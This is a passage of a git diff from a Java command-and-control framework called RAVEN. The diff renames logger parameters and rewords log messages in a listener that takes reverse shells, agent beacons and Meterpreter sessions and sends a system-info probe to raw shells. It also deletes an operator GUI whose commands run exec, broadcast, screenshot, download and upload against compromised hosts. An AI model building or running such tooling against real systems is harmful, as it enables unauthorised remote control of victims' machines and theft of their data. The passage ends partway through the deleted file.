String ColorLine = AnsiColor.White + " [" + ColorCode + PlainTag + AnsiColor.White + "] " + AnsiColor.Dim + Msg + AnsiColor.Reset; + private static void Emit(Level MessageLevel, String PlainTag, String ColorCode, String Message) { + if (MessageLevel.ordinal() < CurrentLevel.ordinal()) return; + String Times = Timestamp(); + String PlainLine = " [" + Times + "] [" + PlainTag + "] " + Message; + String ColorLine = AnsiColor.White + " [" + ColorCode + PlainTag + AnsiColor.White + "] " + AnsiColor.Dim + Message + AnsiColor.Reset; System.out.println(ColorLine); if (FileEnabled) FileQueue.offer(PlainLine); } - public static void Info(String Msg) { - Emit(Level.INFO, "INFO", AnsiColor.Cyan, Msg); + public static void Info(String Message) { + Emit(Level.INFO, "INFO", AnsiColor.Cyan, Message); } - public static void Warn(String Msg) { - Emit(Level.WARN, "WARN", AnsiColor.Orange, Msg); + public static void Warn(String Message) { + Emit(Level.WARN, "WARN", AnsiColor.Orange, Message); } - public static void Error(String Msg) { - Emit(Level.ERROR, "ERROR", AnsiColor.BrightRed, Msg); + public static void Error(String Message) { + Emit(Level.ERROR, "ERROR", AnsiColor.BrightRed, Message); } - public static void Debug(String Msg) { - Emit(Level.DEBUG, "DEBUG", AnsiColor.Magenta, Msg); + public static void Debug(String Message) { + Emit(Level.DEBUG, "DEBUG", AnsiColor.Magenta, Message); } - public static void Success(String Msg) { - Emit(Level.INFO, "OK", AnsiColor.Green, Msg); + public static void Success(String Message) { + Emit(Level.INFO, "OK", AnsiColor.Green, Message); } public static void Custom(String Text) { @@ -120,25 +120,25 @@ public static void Custom(String Text, int DelayMs) { Custom(Text, (long) DelayMs); } - public static void Verbose(String Msg) { + public static void Verbose(String Message) { if (!Verbose) return; - Emit(Level.VERBOSE, "TRACE", AnsiColor.Dim, Msg); + Emit(Level.VERBOSE, "TRACE", AnsiColor.Dim, Message); } - public static void Messages(String Msg) { - Info(Msg); + public static void Messages(String Message) { + Info(Message); } - public static void Warnings(String Msg) { - Warn(Msg); + public static void Warnings(String Message) { + Warn(Message); } - public static void ErrorMsg(String Msg) { - Error(Msg); + public static void ErrorMessage(String Message) { + Error(Message); } - public static void Warning(String Msg) { - Warn(Msg); + public static void Warning(String Message) { + Warn(Message); } public static void Shutdown() { diff --git a/src/main/java/com/raven/core/server/BaseServer.java b/src/main/java/com/raven/core/server/BaseServer.java index dd76ea0..3a98a10 100644 --- a/src/main/java/com/raven/core/server/BaseServer.java +++ b/src/main/java/com/raven/core/server/BaseServer.java @@ -65,7 +65,7 @@ public enum ConnectionType { RAVEN, RAW, HTTP, - UNKNOWN, + UNKNOWN } public static final class DetectionResult { @@ -110,7 +110,7 @@ protected DetectionResult Detect(Socket Sock) throws IOException { if (Str.startsWith("{")) Type = ConnectionType.RAVEN; else if (Str.startsWith("GET ") || Str.startsWith("POST ") || Str.startsWith("PUT ") || Str.startsWith("HEAD ")) Type = ConnectionType.HTTP; else Type = ConnectionType.RAW; - Logger.Verbose("Detect [" + Sock.getRemoteSocketAddress() + "] → " + Type + " peek=" + Str.substring(0, Math.min(Str.length(), 12))); + Logger.Verbose("Detect [" + Sock.getRemoteSocketAddress() + "] > " + Type + " peek=" + Str.substring(0, Math.min(Str.length(), 12))); return new DetectionResult(Type, PbIn, P); } @@ -144,7 +144,7 @@ else if (!InStr) { } String Json = Buf.toString("UTF-8").trim(); - if (!Json.startsWith("{")) throw new IOException("Expected JSON sysinfo, got: " + (Json.length() > 64 ? Json.substring(0, 64) + "…" : Json)); + if (!Json.startsWith("{")) throw new IOException("expected JSON sysinfo, got: " + (Json.length() > 64 ? Json.substring(0, 64) + "…" : Json)); @SuppressWarnings("unchecked") Map Info = Gson.fromJson(Json, Map.class); @@ -152,7 +152,7 @@ else if (!InStr) { Out.write((Crypto.GetKeyAsBase64Url() + "\n").getBytes("UTF-8")); Out.flush(); - Logger.Verbose("RAVEN handshake OK — " + Info.get("hostname") + " key=" + Crypto.GetKeyAsBase64Url().substring(0, 8) + "…"); + Logger.Verbose("RAVEN handshake OK - " + Info.get("hostname") + " key=" + Crypto.GetKeyAsBase64Url().substring(0, 8) + "…"); return Info; } @@ -165,8 +165,8 @@ protected Map RawHandshake(InputStream In, OutputStream Out, Str Info.put("agentip", RemoteAddr.replaceAll("/|:.*", "")); Info.put("shellmode", "Raw"); - String Probe = "echo TCID:$(uname -s 2>/dev/null || echo WIN):" + "$(hostname 2>/dev/null):$(whoami 2>/dev/null):$(uname -m 2>/dev/null)\n"; try { + String Probe = "echo TCID:$(uname -s 2>/dev/null || echo WIN):" + "$(hostname 2>/dev/null):$(whoami 2>/dev/null):$(uname -m 2>/dev/null)\n"; Out.write(Probe.getBytes("UTF-8")); Out.flush(); StringBuilder Resp = new StringBuilder(); @@ -194,9 +194,9 @@ protected Map RawHandshake(InputStream In, OutputStream Out, Str } } } catch (Exception E) { - Logger.Warn("Raw probe failed (session still registered): " + E.getMessage()); + Logger.Warn("raw probe failed (session still registered): " + E.getMessage()); } - Logger.Verbose("Raw handshake — host=" + Info.get("hostname") + " os=" + Info.get("os")); + Logger.Verbose("Raw handshake - host=" + Info.get("hostname") + " os=" + Info.get("os")); return Info; } @@ -232,7 +232,7 @@ protected void MonitorSession(int SessionId, Socket Sock, boolean IsRaw) { Thread.currentThread().interrupt(); break; } catch (Exception E) { - Logger.Verbose("Session-" + SessionId + " disconnected: " + E.getMessage()); + Logger.Verbose("session-" + SessionId + " disconnected: " + E.getMessage()); Events.Trigger(EventType.AgentDisconnected, EventManager.BuildData("ID", SessionId, "Reason", E.getMessage())); RemoveSession(SessionId); break; diff --git a/src/main/java/com/raven/core/server/RavenServer.java b/src/main/java/com/raven/core/server/RavenServer.java index d2510ee..a7fa5ce 100644 --- a/src/main/java/com/raven/core/server/RavenServer.java +++ b/src/main/java/com/raven/core/server/RavenServer.java @@ -41,11 +41,11 @@ public boolean[] StartServer() { try { OpenSockets(); Running = true; - Logger.Info("Server started — " + Host + ":" + Port + " [" + Mode.name() + "]"); + Logger.Info("server started on " + Host + ":" + Port + ". mode: " + Mode.name()); Events.Trigger(EventType.ServerStarted, EventManager.BuildData("Host", Host, "Port", Port, "Mode", Mode.name())); return new boolean[] { true }; } catch (Exception E) { - Logger.Error("Server start failed [" + Mode + "]: " + E.getMessage()); + Logger.Error("server start failed. mode:" + Mode + " - " + E.getMessage()); return new boolean[] { false }; } } @@ -56,7 +56,7 @@ private void OpenSockets() throws Exception { case MULTI, RAW -> { TcpSocket = new ServerSocket(Port, 50, InetAddress.getByName(Host)); TcpSocket.setReuseAddress(true); - Logger.Verbose("Plain TCP socket bound on " + Port); + Logger.Verbose("plain TCP socket bound on " + Port); if (BeaconPort > 0 && Mode == ListenerMode.MULTI) { BeaconSocket = new ServerSocket(BeaconPort, 50, InetAddress.getByName(Host)); BeaconSocket.setReuseAddress(true); @@ -127,7 +127,7 @@ public void AcceptConnections() { ServerSocket Active = TlsSocket != null ? TlsSocket : TcpSocket; if (Active == null) { - Logger.Warn("No TCP socket open for mode " + Mode + " — beacon-only mode"); + Logger.Warn("no TCP socket open for mode " + Mode + " — beacon-only mode"); while (Running) { try { Thread.sleep(1000); @@ -142,7 +142,7 @@ public void AcceptConnections() { while (Running) { try { Socket Client = Active.accept(); - Logger.Verbose("Accepted TCP from " + Client.getRemoteSocketAddress()); + Logger.Verbose("accepted TCP from " + Client.getRemoteSocketAddress()); Pool.submit(() -> HandleTcp(Client)); } catch (SocketTimeoutException Ignored) { } catch (IOException E) { @@ -159,7 +159,7 @@ private void BeaconAcceptLoop(ServerSocket Sock, boolean IsTls) { Pool.submit(() -> HandleBeacon(Client, IsTls)); } catch (SocketTimeoutException Ignored) { } catch (IOException E) { - if (Running) Logger.Error("Beacon accept error: " + E.getMessage()); + if (Running) Logger.Error("beacon accept error: " + E.getMessage()); break; } } @@ -177,12 +177,12 @@ private void HandleTcp(Socket Client) { } DetectionResult Det = Detect(Client); - Logger.Info("Connection [" + Det.Type + "] from " + RemoteAddr); + Logger.Info("connection [" + Det.Type + "] from " + RemoteAddr); switch (Det.Type) { case RAVEN -> { if (!Mode.AcceptsRavenAgent()) { - Logger.Warn("Mode " + Mode + " rejects RAVEN agents — dropping"); + Logger.Warn("mode " + Mode + " rejects RAVEN agents — dropping"); CloseQuietly(Client); return; } @@ -190,7 +190,7 @@ private void HandleTcp(Socket Client) { } case RAW -> { if (!Mode.AcceptsRawShell()) { - Logger.Warn("Mode " + Mode + " rejects raw shells — dropping"); + Logger.Warn("mode " + Mode + " rejects raw shells — dropping"); CloseQuietly(Client); return; } @@ -198,14 +198,14 @@ private void HandleTcp(Socket Client) { } case HTTP -> { if (!Mode.AcceptsHttp()) { - Logger.Warn("Mode " + Mode + " rejects HTTP — dropping"); + Logger.Warn("mode " + Mode + " rejects HTTP — dropping"); CloseQuietly(Client); return; } HandleBeacon(Client, false); } default -> { - Logger.Warn("Unknown protocol from " + RemoteAddr + " — dropping"); + Logger.Warn("unknown protocol from " + RemoteAddr + " — dropping"); CloseQuietly(Client); } } @@ -258,7 +258,7 @@ private int RegisterRaw(Socket Client, DetectionResult Det, String RemoteAddr) t SocketLocks.put(Id, new Object()); FireConnected(S, Id); MonitorSession(Id, Client, true); - Logger.Debug("Raw session-" + Id + " registered — " + RemoteAddr); + Logger.Debug("raw session-" + Id + " registered — " + RemoteAddr); return Id; } @@ -378,10 +378,10 @@ private void BeaconPost(OutputStream Out, Map Query, byte[] Body @Override public String[] ExecuteCommand(int SessionId, String Command) { Optional Opt = Sessions.Get(SessionId); - if (Opt.isEmpty()) return Fail("Session not found"); + if (Opt.isEmpty()) return Fail("session not found"); if (Opt.get().GetShellMode().startsWith("HTTP")) { Object Lck = CommandLocks.get(SessionId); - if (Lck == null) return Fail("Lock missing"); + if (Lck == null) return Fail("lock missing"); synchronized (Lck) { PendingCommands.put(SessionId, Command); PendingOutputs.remove(SessionId); @@ -433,9 +433,9 @@ private Session BuildSession(Socket Client, String RemoteAddr, Map M, String K) { - return Str(M, K, "Unknown"); + return Str(M, K, "unknown"); } private static String Str(Map M, String K, String Def) { diff --git a/src/main/java/com/raven/iface/GUI.java b/src/main/java/com/raven/iface/GUI.java deleted file mode 100644 index 459cce8..0000000 --- a/src/main/java/com/raven/iface/GUI.java +++ /dev/null @@ -1,1289 +0,0 @@ -package com.raven.iface; - -import java.time.*; -import java.time.format.DateTimeFormatter; -import java.util.*; -import java.util.Optional; -import java.util.concurrent.Executors; - -import com.raven.core.db.TeamDatabase; -import com.raven.core.event.EventManager.EventType; -import com.raven.core.output.Logger; -import com.raven.core.server.ListenerMode; -import com.raven.core.server.RavenServer; -import com.raven.core.session.Session; -import com.raven.utils.ServerConfig; -import com.raven.utils.SystemHelper; - -import javafx.application.Application; -import javafx.application.Platform; -import javafx.beans.property.SimpleStringProperty; -import javafx.collections.*; -import javafx.geometry.*; -import javafx.scene.Scene; -import javafx.scene.control.*; -import javafx.scene.control.ButtonBar; -import javafx.scene.control.cell.PropertyValueFactory; -import javafx.scene.layout.*; -import javafx.scene.text.*; -import javafx.stage.Stage; - -public class GUI extends Application { - - private static ServerConfig Config; - private TeamDatabase Db; - private RavenServer Server; - private Instant ServerStartTime; - private final ObservableList SessionRows = FXCollections.observableArrayList(); - private final ObservableList LogEntries = FXCollections.observableArrayList(); - private int SelectedSessionId = -1; - - private static final String BgColor = "#050505"; - private static final String NavColor = "#0b0b0d"; - private static final String CardColor = "#101014"; - private static final String Card2Color = "#17171c"; - private static final String AccentColor = "#ffffff"; - private static final String RedColor = "#ff1f3d"; - private static final String GreenColor = "#ffffff"; - private static final String TextColor = "#ffffff"; - private static final String MutedColor = "#a7a7ad"; - private static final String BorderColor = "#2a2a31"; - private static final String PurpleColor = "#ff4d63"; - private static final String OrangeColor = "#d6d6db"; - - private Label StatusLabel; - private Label UptimeLabel; - private Label SessionCountLabel; - private TableView SessionTable; - private TextArea TerminalOutput; - private TextArea LogOutput; - private TextField TermInputField; - private TextField CmdInputField; - private Label SelectedAgentLabel; - private Label ServerStatusLabel; - private Label ServerInfoLabel; - private TextField HostField; - private static boolean TeamMode = false; - private String OperatorName = null; - private TeamDatabase.OperatorRole OperatorRole = null; - private TextField PortField; - private Button StartBtn; - private Button StopBtn; - - public static class SessionRow { - - private final SimpleStringProperty Id, Type, Name, Ip, Os, User, Host, Joined; - - public SessionRow(Session S) { - Id = new SimpleStringProperty(String.valueOf(S.GetId())); - Type = new SimpleStringProperty(S.GetSessionType().name()); - Name = new SimpleStringProperty(S.GetDisplayName()); - Ip = new SimpleStringProperty(S.GetAgentIp()); - Os = new SimpleStringProperty(S.GetOs()); - User = new SimpleStringProperty(S.GetUser()); - Host = new SimpleStringProperty(S.GetHostname()); - Joined = new SimpleStringProperty(S.GetSessionKey()); - } - - public String getId() { - return Id.get(); - } - - public String getType() { - return Type.get(); - } - - public String getName() { - return Name.get(); - } - - public String getIp() { - return Ip.get(); - } - - public String getOs() { - return Os.get(); - } - - public String getUser() { - return User.get(); - } - - public String getHost() { - return Host.get(); - } - - public String getJoined() { - return Joined.get(); - } - - public SimpleStringProperty IdProperty() { - return Id; - } - - public SimpleStringProperty TypeProperty() { - return Type; - } - - public SimpleStringProperty NameProperty() { - return Name; - } - - public SimpleStringProperty IpProperty() { - return Ip; - } - - public SimpleStringProperty OsProperty() { - return Os; - } - - public SimpleStringProperty UserProperty() { - return User; - } - - public SimpleStringProperty HostProperty() { - return Host; - } - - public SimpleStringProperty JoinedProperty() { - return Joined; - } - } - - public static void Launch(ServerConfig Cfg) { - Config = Cfg; - TeamMode = false; - Application.launch(GUI.class); - } - - public static void LaunchTeamServer(ServerConfig Cfg) { - Config = Cfg; - TeamMode = true; - Application.launch(GUI.class); - } - - @Override - public void start(Stage PrimaryStage) { - Db = TeamDatabase.Connect(Config); - if (TeamMode && !ShowLoginDialog(PrimaryStage)) { - Platform.exit(); - return; - } - PrimaryStage.setTitle("RAVEN Framework V3"); - PrimaryStage.setWidth(1440); - PrimaryStage.setHeight(900); - PrimaryStage.setMinWidth(1100); - PrimaryStage.setMinHeight(720); - - BorderPane Root = new BorderPane(); - Root.setStyle("-fx-background-color: " + BgColor + ";"); - Root.setLeft(BuildSidebar(PrimaryStage)); - Root.setCenter(BuildMainContent()); - - Scene MainScene = new Scene(Root); - PrimaryStage.setScene(MainScene); - PrimaryStage.setOnCloseRequest(E -> { - if (Server != null) - Server.StopServer(); - Platform.exit(); - }); - PrimaryStage.show(); - StartUptimeTimer(); - } - - private VBox BuildSidebar(Stage Stage) { - VBox Sidebar = new VBox(); - Sidebar.setPrefWidth(240); - Sidebar.setStyle("-fx-background-color: linear-gradient(to bottom, #120006, #050505); -fx-border-color: transparent " + RedColor + " transparent transparent; -fx-border-width: 0 1.5 0 0;"); - - VBox Logo = new VBox(8); - Logo.setPadding(new Insets(28, 22, 18, 22)); - Label Icon = StyledLabel("◆", 38, RedColor, true); - Label Name = StyledLabel("RAVEN", 28, TextColor, true); - Label Tag = StyledLabel("Black Ops Console", 10, MutedColor, false); - Logo.getChildren().addAll(Icon, Name, Tag); - Sidebar.getChildren().add(Logo); - Sidebar.getChildren().add(Divider()); - - VBox Meta = new VBox(12); - Meta.setPadding(new Insets(18, 22, 18, 22)); - Meta - .getChildren() - .addAll( - MiniInfo("VERSION", "3.0.0"), - MiniInfo("MODE", Config.GetServerMode().toUpperCase()), - MiniInfo("INTERFACE", TeamMode ? "TEAM GUI" : "SOLO GUI")); - VBox.setVgrow(Meta, Priority.ALWAYS); - Sidebar.getChildren().add(Meta); - - VBox Footer = new VBox(8); - Footer.setPadding(new Insets(14, 22, 18, 22)); - Footer - .setStyle( - "-fx-border-color: " + BorderColor + " transparent transparent transparent; -fx-border-width: 1;"); - Footer - .getChildren() - .addAll( - StatusLabel = StyledLabel("● Offline", 11, RedColor, true), - StyledLabel("MatrixTM26", 9, MutedColor, false)); - Sidebar.getChildren().add(Footer); - return Sidebar; - } - - private VBox MiniInfo(String Label, String Value) { - VBox Box = new VBox(3); - Box.setPadding(new Insets(10, 12, 10, 12)); - Box.setStyle("-fx-background-color: rgba(255,31,61,0.08); -fx-background-radius: 12; -fx-border-color: rgba(255,31,61,0.45); -fx-border-radius: 12;"); - Box.getChildren().addAll(StyledLabel(Label, 8, MutedColor, true), StyledLabel(Value, 11, TextColor, true)); - return Box; - } - - private Tab BuildNavTab(String Name, javafx.scene.Node Content) { - Tab T = new Tab(Name); - T.setContent(Content); - return T; - } - - private BorderPane BuildMainContent() { - BorderPane Main = new BorderPane(); - Main.setStyle("-fx-background-color: " + BgColor + ";"); - HBox TopBar = new HBox(); - TopBar.setPrefHeight(72); - TopBar.setAlignment(Pos.CENTER_LEFT); - TopBar.setStyle("-fx-background-color: linear-gradient(to right, #050505, #120006); -fx-border-color: transparent transparent " + RedColor + " transparent; -fx-border-width: 0 0 1.5 0;"); - TopBar.setPadding(new Insets(0, 24, 0, 24)); - - UptimeLabel = StyledLabel("00:00:00", 9, MutedColor, false); - SessionCountLabel = StyledLabel("⊟ 0 Sessions", 9, AccentColor, false); - - HBox Right = new HBox(16); - Right.setAlignment(Pos.CENTER_RIGHT); - HBox.setHgrow(Right, Priority.ALWAYS); - Right.getChildren().addAll(UptimeLabel, VDivider(), SessionCountLabel); - Label OpLabel = OperatorName != null - ? StyledLabel( - "Op: " + OperatorName + " [" + (OperatorRole != null ? OperatorRole.name() : "?") + "]", - 8, - AccentColor, - false) - : null; - VBox Heading = new VBox(2); - Heading.getChildren().addAll(StyledLabel("RAVEN Operations Console", 20, TextColor, true), StyledLabel("Listener control • Session ops • CLI-aligned command center", 10, MutedColor, false)); - if (OpLabel != null) - TopBar.getChildren().addAll(Heading, OpLabel, Right); - else - TopBar.getChildren().addAll(Heading, Right); - Main.setTop(TopBar); - - TabPane Tabs = new TabPane(); - Tabs.setTabClosingPolicy(TabPane.TabClosingPolicy.UNAVAILABLE); - Tabs.setStyle("-fx-background-color: " + BgColor + "; -fx-tab-min-height: 42px; -fx-tab-max-height: 42px;"); - Tabs - .getTabs() - .addAll( - BuildNavTab("Dashboard", BuildDashboardTab()), - BuildNavTab("Sessions", BuildSessionsTab()), - BuildNavTab("Terminal", BuildTerminalTab()), - BuildNavTab("Commands", BuildCommandCenterTab()), - BuildNavTab("Logs", BuildLogsTab()), - BuildNavTab("Settings", BuildSettingsTab())); - Main.setCenter(Tabs); - return Main; - } - - private ScrollPane BuildDashboardTab() { - VBox Content = new VBox(12); - Content.setPadding(new Insets(24)); - Content.setStyle("-fx-background-color: " + BgColor + ";"); - - GridPane Cards = new GridPane(); - Cards.setHgap(8); - Cards.setVgap(8); - - Cards.add(BuildStatCard("⊟", "Total Sessions", "0", TextColor), 0, 0); - Cards.add(BuildStatCard("◉", "RAVEN", "0", RedColor), 1, 0); - Cards.add(BuildStatCard("◎", "Meterpreter", "0", TextColor), 2, 0); - Cards.add(BuildStatCard("◈", "Reverse Shell", "0", RedColor), 3, 0); - - for (int I = 0; I < 4; I++) { - ColumnConstraints Col = new ColumnConstraints(); - Col.setPercentWidth(25); - Cards.getColumnConstraints().add(Col); - } - Content.getChildren().add(Cards); - - VBox Info = BuildCard("TOOL INFORMATION"); - TextArea InfoText = new TextArea( - " Author : MatrixTM26\n" + - " Github : MatrixTM26\n" + - " Version : 3.0\n\n" + - " Use Sessions for fast actions and Commands for CLI-aligned workflows.\n" + - " Terminal executes agent commands; Command Center executes server/session utilities.\n\n" + - " GUI Commands:\n" + - " • sessions | status | stats | tasks\n" + - " • kill | sysinfo | note | getnote \n" + - " • history [id] [limit] | broadcast \n" + - " • exec | whoami | sleep \n" + - " • screenshot | download | upload "); - InfoText.setEditable(false); - InfoText.setPrefHeight(200); - ApplyTermStyle(InfoText); - Info.getChildren().add(InfoText); - Content.getChildren().add(Info); - - ScrollPane Scroll = new ScrollPane(Content); - Scroll.setFitToWidth(true); - Scroll.setStyle("-fx-background-color: " + BgColor + ";"); - return Scroll; - } - - private VBox BuildSessionsTab() { - VBox Content = new VBox(8); - Content.setPadding(new Insets(12)); - Content.setStyle("-fx-background-color: " + BgColor + ";"); - - HBox Toolbar = new HBox(8); - Toolbar.setAlignment(Pos.CENTER_LEFT); - TextField Search = new TextField(); - Search.setPromptText("🔍 Search sessions..."); - ApplyInputStyle(Search); - Search.setPrefWidth(220); - HBox.setHgrow(Search, Priority.ALWAYS); - - Button Refresh = StyledButton("⟳ Refresh", TextColor, true); - Button Execute = StyledButton("▶ Execute", RedColor, false); - Button Broadcast = StyledButton("⇶ Broadcast", TextColor, true); - Button Kill = StyledButton("⊘ Kill", RedColor, false); - Refresh.setOnAction(E -> RefreshSessions()); - Execute.setOnAction(E -> OpenExecuteWindow()); - Broadcast.setOnAction(E -> OpenBroadcastWindow()); - Kill.setOnAction(E -> KillSelected()); - Toolbar.getChildren().addAll(Search, Refresh, Execute, Broadcast, Kill); - Content.getChildren().add(Toolbar); - - HBox SrvCmdRow = new HBox(8); - SrvCmdRow.setAlignment(Pos.CENTER_LEFT); - SrvCmdRow.setPadding(new Insets(4, 0, 4, 0)); - Label SrvLbl = StyledLabel("COMMAND:", 9, RedColor, true); - TextField SrvInput = new TextField(); - SrvInput.setPromptText("sessions | status | stats | tasks | kill | sysinfo | history [id] [limit] | note | exec "); - ApplyInputStyle(SrvInput); - HBox.setHgrow(SrvInput, Priority.ALWAYS); - Button SrvExec = StyledButton("RUN", RedColor, false); - SrvExec.setOnAction(E -> RunServerCommand(SrvInput.getText().trim(), SrvInput)); - SrvInput.setOnAction(E -> RunServerCommand(SrvInput.getText().trim(), SrvInput)); - SrvCmdRow.getChildren().addAll(SrvLbl, SrvInput, SrvExec); - Content.getChildren().add(SrvCmdRow); - - SessionTable = new TableView<>(SessionRows); - SessionTable - .setStyle( - "-fx-background-color: " + CardColor + "; -fx-control-inner-background: " + CardColor + "; -fx-table-cell-border-color: " + BorderColor + "; -fx-table-header-border-color: " - + BorderColor + "; -fx-text-fill: " + TextColor + "; -fx-background-radius: 12;"); - String[] ColNames = { "ID", "Type", "Name/Cert", "IP", "OS", "User", "Host", "Session Key" }; - String[] Props = { "id", "type", "name", "ip", "os", "user", "host", "joined" }; - for (int I = 0; I < ColNames.length; I++) { - TableColumn Col = new TableColumn<>(ColNames[I]); - Col.setCellValueFactory(new PropertyValueFactory<>(Props[I])); - Col.setStyle("-fx-alignment: CENTER_LEFT; -fx-text-fill: " + TextColor + ";"); - SessionTable.getColumns().add(Col); - } - SessionTable - .getSelectionModel() - .selectedItemProperty() - .addListener((Obs, Old, New) -> { - if (New != null) { - SelectedSessionId = Integer.parseInt(New.getId()); - if (SelectedAgentLabel != null) - SelectedAgentLabel - .setText( - "● " + New.getName() + " #" + SelectedSessionId); - } - }); - VBox.setVgrow(SessionTable, Priority.ALWAYS); - Content.getChildren().add(SessionTable); - return Content; - } - - private void RunServerCommand(String Cmd, TextField Input) { - if (Cmd == null || Cmd.isBlank()) - return; - if (Server == null || !Server.IsRunning()) { - AddLog("[!] Server not running"); - return; - } - String[] Parts = Cmd.trim().split("\\s+", 2); - switch (Parts[0].toLowerCase()) { - case "sessions", "agents" -> { - int N = Server.GetSessions().Count(); - AddLog("[*] Sessions (" + N + "):"); - Server - .GetSessions() - .GetAll() - .forEach( - S -> AddLog( - " #" + - S.GetId() + - " [" + - S.GetDisplayName() + - "] " + - S.GetUser() + - "@" + - S.GetHostname() + - " key=" + - S.GetSessionKey())); - Platform.runLater(() -> RefreshSessions()); - } - case "kill" -> { - if (Parts.length < 2) { - AddLog("[!] Usage: kill "); - return; - } - try { - int Id = Integer.parseInt(Parts[1].trim()); - Server.RemoveSession(Id); - AddLog("[+] Session-" + Id + " terminated"); - Platform.runLater(() -> RefreshSessions()); - } catch (NumberFormatException E) { - AddLog("[!] Invalid session ID"); - } - } - case "status" -> { - AddLog("[*] Status: " + (Server.IsRunning() ? "ONLINE" : "OFFLINE")); - AddLog( - "[*] Mode: " + Server.GetMode().name() + " | Host: " + Server.GetHost() + ":" - + Server.GetPort()); - AddLog("[*] Sessions: " + Server.GetSessions().Count()); - AddLog("[*] Key: " + Server.GetKeyBase64()); - } - case "stats" -> { - Map Stats = Server.GetSessions().GetStats(); - AddLog("[*] Total: " + Stats.get("Total")); - AddLog("[*] RAVEN: " + Stats.get("RAVEN")); - AddLog("[*] Meterpreter: " + Stats.get("METERPRETER")); - AddLog("[*] Reverse Shell: " + Stats.get("REVERSE_SHELL")); - } - case "tasks" -> AddLog("[*] Active sessions: " + Server.GetSessions().Count() + " — use exec/broadcast to run tasks"); - case "broadcast" -> { - if (Parts.length < 2) { - AddLog("[!] Usage: broadcast "); - return; - } - String BCmd = Parts[1]; - AddLog("[>] Broadcast → " + BCmd); - Map R = Server.BroadcastAll(BCmd); - R - .forEach( - ( - Id, - Res) -> AddLog(" [" + Id + "] " + (Boolean.parseBoolean(Res[0]) ? "✔ " : "✘ ") + Res[1])); - } - case "exec" -> RunExecCommand(Parts.length > 1 ? Parts[1] : ""); - case "whoami", "screenshot" -> RunShortcutCommand(Parts, Parts[0].toLowerCase()); - case "sleep" -> RunSleepCommand(Parts); - case "download" -> RunDownloadCommand(Parts); - case "upload" -> RunUploadCommand(Parts); - case "sysinfo", "info" -> ShowSessionInfoLog(Parts.length > 1 ? Parts[1] : ""); - case "note" -> SaveNoteCommand(Parts.length > 1 ? Parts[1] : ""); - case "getnote" -> GetNoteCommand(Parts.length > 1 ? Parts[1] : ""); - case "history" -> ShowHistoryCommand(Parts.length > 1 ? Parts[1] : ""); - default -> AddLog("[!] Unknown command: " + Parts[0]); - } - if (Input != null) - Platform.runLater(() -> Input.clear()); - } - - private VBox BuildTerminalTab() { - VBox Content = new VBox(8); - Content.setPadding(new Insets(12)); - Content.setStyle("-fx-background-color: " + BgColor + ";"); - - HBox Header = new HBox(8); - Header.setAlignment(Pos.CENTER_LEFT); - Label SessionLbl = StyledLabel("Session ID:", 9, MutedColor, false); - TermInputField = new TextField(); - TermInputField.setPrefWidth(80); - ApplyInputStyle(TermInputField); - SelectedAgentLabel = StyledLabel("○ No agent selected", 9, MutedColor, false); - Button ClearBtn = StyledButton("Clear", CardColor, false); - ClearBtn.setOnAction(E -> { - if (TerminalOutput != null) - TerminalOutput.clear(); - }); - HBox.setHgrow(SelectedAgentLabel, Priority.ALWAYS); - Header.getChildren().addAll(SessionLbl, TermInputField, SelectedAgentLabel, ClearBtn); - Content.getChildren().add(Header); - - TerminalOutput = new TextArea(); - TerminalOutput.setEditable(false); - TerminalOutput.setPrefHeight(400); - ApplyTermStyle(TerminalOutput); - VBox.setVgrow(TerminalOutput, Priority.ALWAYS); - Content.getChildren().add(TerminalOutput); - - HBox InputRow = new HBox(8); - InputRow.setAlignment(Pos.CENTER_LEFT); - Label Prompt = StyledLabel("❯", 11, AccentColor, true); - CmdInputField = new TextField(); - CmdInputField.setPromptText("Enter command..."); - ApplyInputStyle(CmdInputField); - HBox.setHgrow(CmdInputField, Priority.ALWAYS); - Button SendBtn = StyledButton("Send", AccentColor, false); - SendBtn.setOnAction(E -> SendTerminalCommand()); - CmdInputField.setOnAction(E -> SendTerminalCommand()); - InputRow.getChildren().addAll(Prompt, CmdInputField, SendBtn); - Content.getChildren().add(InputRow); - return Content; - } - - private VBox BuildCommandCenterTab() { - VBox Content = new VBox(12); - Content.setPadding(new Insets(18)); - Content.setStyle("-fx-background-color: " + BgColor + ";"); - - VBox Help = BuildCard("CLI-ALIGNED COMMANDS"); - TextArea HelpText = new TextArea( - "Server: sessions | status | stats | tasks\n" + - "Session: exec | kill | sysinfo \n" + - "Ops: broadcast | whoami | sleep \n" + - "Files: screenshot | download | upload \n" + - "Notes/History: note | getnote | history [id] [limit]"); - HelpText.setEditable(false); - HelpText.setPrefHeight(120); - ApplyTermStyle(HelpText); - Help.getChildren().add(HelpText); - - HBox InputRow = new HBox(10); - InputRow.setAlignment(Pos.CENTER_LEFT); - TextField CommandInput = new TextField(); - CommandInput.setPromptText("Type GUI command matching CLI syntax..."); - ApplyInputStyle(CommandInput); - HBox.setHgrow(CommandInput, Priority.ALWAYS); - Button Run = StyledButton("EXECUTE", RedColor, false); - Button Clear = StyledButton("CLEAR LOGS", TextColor, true); - Run.setOnAction(E -> RunServerCommand(CommandInput.getText().trim(), CommandInput)); - CommandInput.setOnAction(E -> RunServerCommand(CommandInput.getText().trim(), CommandInput)); - Clear.setOnAction(E -> { - LogEntries.clear(); - if (LogOutput != null) - LogOutput.clear(); - }); - InputRow.getChildren().addAll(StyledLabel("❯", 16, RedColor, true), CommandInput, Run, Clear); - - TextArea Mirror = new TextArea(); - Mirror.setEditable(false); - Mirror.setText("Command Center writes output to the Logs tab and mirrors operational events.\nStart the server first from Settings, then use Sessions/Commands."); - ApplyTermStyle(Mirror); - VBox.setVgrow(Mirror, Priority.ALWAYS); - - Content.getChildren().addAll(Help, InputRow, Mirror); - return Content; - } - - private VBox BuildLogsTab() { - VBox Content = new VBox(8); - Content.setPadding(new Insets(12)); - Content.setStyle("-fx-background-color: " + BgColor + ";"); - - HBox Toolbar = new HBox(8); - Toolbar.setAlignment(Pos.CENTER_RIGHT); - Button ExportBtn = StyledButton("Export", TextColor, true); - Button ClearBtn = StyledButton("Clear", RedColor, false); - ClearBtn.setOnAction(E -> { - LogEntries.clear(); - if (LogOutput != null) - LogOutput.clear(); - }); - Toolbar.getChildren().addAll(ExportBtn, ClearBtn); - Content.getChildren().add(Toolbar); - - LogOutput = new TextArea(); - LogOutput.setEditable(false); - ApplyTermStyle(LogOutput); - VBox.setVgrow(LogOutput, Priority.ALWAYS); - Content.getChildren().add(LogOutput); - return Content; - } - - private ScrollPane BuildSettingsTab() { - VBox Content = new VBox(16); - Content.setPadding(new Insets(16)); - 